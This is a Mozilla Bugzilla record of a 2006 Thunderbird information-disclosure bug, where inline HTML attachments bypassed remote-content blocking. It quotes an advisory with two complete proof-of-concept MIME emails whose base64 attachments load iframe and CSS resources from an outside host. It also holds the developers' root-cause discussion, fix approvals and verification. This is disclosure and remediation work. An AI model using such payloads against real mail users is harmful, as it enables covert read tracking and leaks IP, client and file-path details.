Closed Bug 328917 Opened 18 years ago Closed 18 years ago

Mail Multiple Information Disclosure Vulnerabilities

Categories

(MailNews Core :: Security, defect)

Product:
MailNews Core
Component:
Security
Type:
defect
Priority:
Not set
Severity:
major

Tracking

(Not tracked)

Status:
RESOLVED FIXED

People

(Reporter: dveditz, Assigned: mscott)

References

(
URL
)

Details

(Keywords: fixed1.8.1, privacy, verified1.8.0.2, Whiteboard: [sg:privacy])

Attachments

(2 files)

first cut at a fix
1014 bytes, patch
Bienvenu
: superreview+
timr
: approval-aviary1.0.8+
mscott
: approval-branch-1.8.1+
timr
: approval1.8.0.2+
Details | Diff | Splinter Review
mail folder w/test cases
6.36 KB, text/plain
Details 
Mozilla Thunderbird : Multiple Information Disclosure Vulnerabilities
Contributed by CrashFr on mardi le 28 février 2006 21h15
from the dept.

//----- Advisory


Program          : Mozilla Thunderbird
Homepage         : http://www.mozilla.com/thunderbird/
Tested version   : 1.5
Found by         : crashfr at sysdream dot com
This advisory    : crashfr at sysdream dot com
Discovery date   : 2006/02/18

//----- Application description


Full-Featured Email

Simple to use, powerful, and customizable, Thunderbird is a full-featured
email application. Thunderbird supports IMAP and POP mail protocols, as well
as HTML mail formatting. Easily import your existing email accounts and
messages. Built-in RSS capabilities, powerful quick search, spell check as you
type, global inbox, deleting attachments and advanced message filtering round
out Thunderbird's modern feature set.


//----- Description of vulnerability


Thunderbird's HTML rendering engine insufficiently filters the loading
of external resources from inline HTML attachments. External files are
downloaded even if the "Block loading of remote images in mail messages"
option is enabled.


//----- Proof Of Concept


* Iframe Exploit :


Subject: Thunploit by CrashFr !
From: CrashFr<crashfr@chez.com>
To: CrashFr<crashfr@chez.com>
Content-Type: multipart/related; type="multipart/alternative";
boundary="----=_NextPart_000_0000_DE61E470.78F38016"

This is a multi-part message in MIME format.

------=_NextPart_000_0000_DE61E470.78F38016
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_0001_06199DF9.5C825A99"

------=_NextPart_001_0001_06199DF9.5C825A99
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Test by CrashFr

------=_NextPart_001_0001_06199DF9.5C825A99
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
<;html><;head>
</head><body style="margin: 0px; padding: 0px; border: 0px;">
<iframe src="cid:257481cab71f$562e86af@sysdream.com" width="100%" height="100%"
frameborder="0" marginheight="0" marginwidth="0"></iframe>
</body></html>

------=_NextPart_001_0001_06199DF9.5C825A99--

------=_NextPart_000_0000_DE61E470.78F38016
Content-Type: text/html; name="basic.html"
Content-Transfer-Encoding: base64
Content-ID: <257481cab71f$562e86af@sysdream.com>

PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5IHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4
OyBib3JkZXI6IDBweDsiPjxpZnJhbWUgc3JjPSJodHRwOi8vd3d3LnN5c2RyZWFtLmNvbSIgd2lk
dGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgZnJhbWVib3JkZXI9IjAiIG1hcmdpbmhlaWdodD0iMCIg
bWFyZ2lud2lkdGg9IjAiPjwvaWZyYW1lPg==

------=_NextPart_000_0000_DE61E470.78F38016--


* CSS Exploit :


Subject: Thunploit by CrashFr !
From: CrashFr<crashfr@chez.com>
To: CrashFr<crashfr@chez.com>
Content-Type: multipart/related; type="multipart/alternative";
boundary="----=_NextPart_000_0000_DE61E470.78F38016"

This is a multi-part message in MIME format.

------=_NextPart_000_0000_DE61E470.78F38016
Content-Type: multipart/alternative;
boundary="----=_NextPart_001_0001_06199DF9.5C825A99"

------=_NextPart_001_0001_06199DF9.5C825A99
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Test by CrashFr

------=_NextPart_001_0001_06199DF9.5C825A99
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
<html><head>
<link rel="stylesheet" type="text/css" href="cid:257481cab71f$562e86af@sysdream.com"
/></head><body>
</body></html>

------=_NextPart_001_0001_06199DF9.5C825A99--

------=_NextPart_000_0000_DE61E470.78F38016
Content-Type: text/css; name="basic.css"
Content-Transfer-Encoding: base64
Content-ID: <257481cab71f$562e86af@sysdream.com>

QGltcG9ydCB1cmwoaHR0cDovL3d3dy5zeXNkcmVhbS5jb20vdGVzdC5jc3MpOwpib2R5IHsgYmFj
a2dyb3VuZC1jb2xvcjogI0NDQ0NDQzsgfQ==

------=_NextPart_000_0000_DE61E470.78F38016--



//----- Impact


Successful exploitation may lead to information disclosure (user agent:
application version & platform, IP address...). A spammer can easily
check if an email is read. Moreover, an HTML reply to those types of
emails will contain the complete url path to the mailbox
(ie: mailbox:///C%7C/Documents%20and%20Settings/CrashFr/
Application%20Data/Thunderbird/Profiles/7jko3in9.default/
Mail/Local%20Folders/Inbox?number=2194930&header=quotebody&part=1.2&filename=basic.css").


//----- Solution


No known solution. You have to wait for a vendor upgrade.


//----- Credits


http://www.sysdream.com
crashfr at sysdream dot com
The in-line iframe source decodes to another iframe include:
  <html><head></head><body style="margin: 0px; padding: 0px; border: 0px;">
  <iframe src="http://www.sysdream.com" width="100%" height="100%"
  frameborder="0" marginheight="0" marginwidth="0"></iframe>

Likewise the in-line CSS includes an external CSS reference:
  @import url(http://www.sysdream.com/test.css);
  body { background-color: #CCCCCC; }

Direct external loads are correctly blocked.
Flags: blocking1.8.0.2+
Flags: blocking-aviary1.0.8?
So what's up with the @import?  We _do_ pass the actual element that imported the whole stylesheet tree as the context to content policy....  So it should all work.

Also, we get the root same type docshell in nsMsgContentPolicy::ShouldLoad, so the subframe thing should also be working correctly...
Flags: blocking1.7.13?
Flags: blocking-thunderbird2+
Status: NEW → ASSIGNED
This patch fixes the vulnerability but opens up some larger questions.

Despite a very large comment I added saying msgWindow can be null and it's not an error, I still returned an error code!

As a result, nsMsgContentPolicy::ShouldLoad was returning NS_ERROR_FAILURE because we couldn't get a msgWindow to set the remote image blocking bar. 
nsContentPolicy::CheckPolicy ignores ShouldLoad if it returns an error code and allows the load:

http://lxr.mozilla.org/mozilla/source/content/base/src/nsContentPolicy.cpp#225

So this addresses the vulnerability, and the remote load is now blocked. But you won't get a remote image blocking bar across the top (which is probably ok for this specific nested case). And that may be all we do for the security branches.

However this dodges several questions:

1) There are lots of failure points in nsMsgContentPolicy::ShouldLoad. We're defensive about setting the reject value on the out parameter, but good xpcom practices say this should get ignored by the caller if you return an error. How many of these failure points should cause us to allow the load instead of denying it. Maybe most or all of the rv failures need to get turned into NS_OKs here so CheckPolicy will always honor our value.

2) Should nsContentPolicy::CheckPolicy be more defensive instead of allowing loads when policy calls return errors?
I can't really answer question (1) -- that's specific to the mailnews policy, which I'm not so familiar with.

For question (2), I'm torn.  The content policy code has always done what it does now, and I think it's reasonable -- otherwise an error in some extension's content policy impl would completely stop all loads of everything in the browser... 

On the other hand, an exception thrown from an API call means just that -- that the callee ran into an exceptional circumstance.  In this case that means that it can't make up its mind, and if we're using content policy for security purposes (as we are), we should block the load just in case (eg so on temporary OOM we don't permit loads that we'd normally block).

Mike, do you have an opinion?
I'm torn on what the right thing to do is for issue #2 as well.
Comment on attachment 213621 [details] [diff] [review]
first cut at a fix

Regardless of how we answer question 1 and 2, we'll want this fix.
Attachment #213621 - Flags: superreview?(bienvenu)
Attachment #213621 - Flags: superreview?(bienvenu) → superreview+
When writing bug 294307 comment 87 all the callers of ShouldLoad that I could find treated an error result as a reject. What I didn't realize was that ShouldLoad isn't propagating the error results from individual policies.
Attachment #213621 - Flags: approval1.8.0.2?
Attachment #213621 - Flags: approval-branch-1.8.1+
fixed on the trunk and in 1.8.1.

I think we should spin up a new bug to ponder issue #2. I will do just that unless someone objects.
Status: ASSIGNED → RESOLVED
Closed: 18 years ago
Keywords: fixed1.8.1
Resolution: --- → FIXED
Comment on attachment 213621 [details] [diff] [review]
first cut at a fix

a=timr
Attachment #213621 - Flags: approval1.8.0.2? → approval1.8.0.2+
Keywords: fixed1.8.0.2
Flags: blocking1.7.13?
Flags: blocking-aviary1.0.8?
Flags: blocking-aviary1.0.8+
This much is certain: it's a crappy decision to have to make.  I recall wanting an error to be treated as though we didn't find the policy object to ask (as it would be if we got an error instantiating or service-getting the object based on a dangling entry in the category, f.e.).  In at least the "failed to get the object to ask" case, I think that's the only thing we can reasonably do, since the alternative failure mode is *so* bad (and, without the ability to load URLs, very hard for us to help the user with).  I would tend to treat an exception as "you shouldn't trust me to have made an appropriate decision", and since our default policy is permit here, that seems like what should carry the day.

A content policy object that wants to be more conservative with its own error cases can do some internal wrapping to map an exception to a rejection, of course.  I suspect that someone could even write a content policy object that asked everything in the list and mapped their exceptions to a rejection, if they wanted to, and the converse isn't possible, so I'm again tending in favour of "ignore exception and result".
Comment on attachment 213621 [details] [diff] [review]
first cut at a fix

nominating for the branch
Attachment #213621 - Flags: approval-aviary1.0.8?
Comment on attachment 213621 [details] [diff] [review]
first cut at a fix

a=timr.  This is a critical   bug for TB 1.0.8.
Attachment #213621 - Flags: approval-aviary1.0.8? → approval-aviary1.0.8+
Keywords: fixed-aviary1.0.8
This folder contains some of the testcases for this bug. The ones from the advisory don't work for me, but the "indirect iframe" and "indirect css" tests demonstrate the bug on vulnerable builds.
Verified fixed on the 1.8.0 branch using version 1.5.0.2 (20060308 and dveditz's test folder referenced in Comment 13. Adding keyword. I will go back and verify on 1.0.8 when we start testing that build.
Keywords: fixed1.8.0.2 → verified1.8.0.2
Whiteboard: [sg:privacy]
v.fixed on Aviary branch with 4/5 build using Dan's mail folder w/ test cases.  

I also did not see anything with CrashFR and Direct remote cases, but did verify that there is no exploit with the 2 indirect cases.  I saw the following errors in JSC:
Security Error: Content at about:blank may not load or link to mailbox:///C|/Documents%20and%20Settings/jaypatel/Application%20Data/Thunderbird/Profiles/nh9jnfjm.10x/Mail/Local%20Folders/Trash?number=5137&part=1.2&filename=basic.css.
Security Error: Content at about:blank may not load or link to mailbox:///C|/Documents%20and%20Settings/jaypatel/Application%20Data/Thunderbird/Profiles/nh9jnfjm.10x/Mail/Local%20Folders/Trash?number=5137&part=1.2&filename=basic.css.
Security Error: Content at about:blank may not load or link to mailbox:///C|/Documents%20and%20Settings/jaypatel/Application%20Data/Thunderbird/Profiles/nh9jnfjm.10x/Mail/Local%20Folders/Trash?number=3656&part=1.2&filename=basic.html.
Keywords: fixed-aviary1.0.8 → verified-aviary1.0.8
Product: Core → MailNews Core
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: